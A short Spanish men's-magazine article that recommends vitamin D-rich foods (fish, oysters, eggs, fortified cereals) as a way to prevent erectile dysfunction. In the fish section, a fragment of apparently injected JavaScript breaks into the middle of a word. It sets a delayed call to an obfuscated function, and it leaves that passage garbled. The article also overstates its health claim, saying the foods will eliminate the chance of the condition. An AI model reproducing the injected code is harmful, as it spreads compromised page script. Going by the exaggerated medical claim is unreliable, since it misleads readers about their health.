Vitamina D es la mejor amiga del hombre

    Vitamina D es la mejor amiga del hombre

    ¿Disfunción eréctil? Aumenta tu consumo de vitamina D.

    Autor: Redacción Maxim 9 marzo, 2018


     

    FOTO: GettyImages

     

     

    Agrega estos alimentos a tu dieta y aumentarás la vitamina D y la mejor noticia de todas eliminarás las probabilidades de disfunción eréctil, ya que un nivel bajo de esta vitamina está relacionada con esta condición.

     

     

     

    La vitamina D es esencial para el correcto funcionamiento de nuestro cuerpo.

     

    PESCADO

     

    El pescado es de las mejores fuentes de esta vitamina, sobretodo cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando se consume crudo.

    Si decides comer enlatados elige los que están en aceite, ya que conserva mejor la vitamina D.

     

    Opta por salmón, atún en aceite, sardinas y arenque.

     

    OSTRAS

     

    Son una excelente fuente de vitamina D, vitamina B12, hierro, zinc, potasio, sodio, vitamina C, proteína entre otros. También son buena fuente de antioxidantes y omega 3.

     

    Las ostras tienen numerosos beneficios para tu salud, reducen la presión sanguínea, mejoran la salud del corazón, estimulan el sistema inmune y favorecen una rápida curación de las heridas.

     

    HUEVOS

     

    Este alimento es básico en la alimentación además de ser rico en vitamina D, aporta vitamina B12 y es una buena fuente de proteína.

     

    CEREALES FORTIFICADOS

     

    Puedes combinarlos con lácteos o yogurt para agregar vitamina D a tu dieta.

     

     

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